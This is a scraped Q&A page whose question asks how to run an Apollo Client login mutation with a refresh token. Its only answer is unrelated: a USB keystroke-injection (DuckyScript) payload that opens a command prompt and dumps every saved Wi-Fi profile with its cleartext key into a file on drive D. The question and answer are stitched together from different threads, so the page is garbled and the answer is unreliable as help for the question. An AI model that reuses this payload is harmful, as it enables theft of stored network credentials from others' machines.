'Mutation in Apollo Client
I am using apollo client to perform an auto login with refresh token. The code I use is:
const expirationTime = exp * 1000 - 60000;
if (Date.now() >= expirationTime) {
await client //this is how user relogin
.mutate({
mutation: USER_LOGIN,
variables: { rt: localStorage.getItem("refreshToken") },
})
.then((response) => console.log(response.data))
.catch((err) => console.error(err));
}
But I am not sure whether this is the right way, because my app seems to crash when I do this. I read the documentation for react but couldn't find anything other than useMutation
Solution 1:[1]
Your loop is built with one > redirection and using pipes where & is better
Thus is constantly building a new file with each entry thus you only get the last one.
use >> in place of > and replacing 2x | with & then you get the full Monty.
DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo & netsh wlan show profiles %j key=clear >> d:\wifi.txt & type d:\wifi.txt
ENTER
The problem then becomes each time you run it the list gets longer, so start by nuking the file first.
I leave that to you to decide but the simplest way is first run
if exist d:\wifi.txt del d:\wifi.txt
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 |
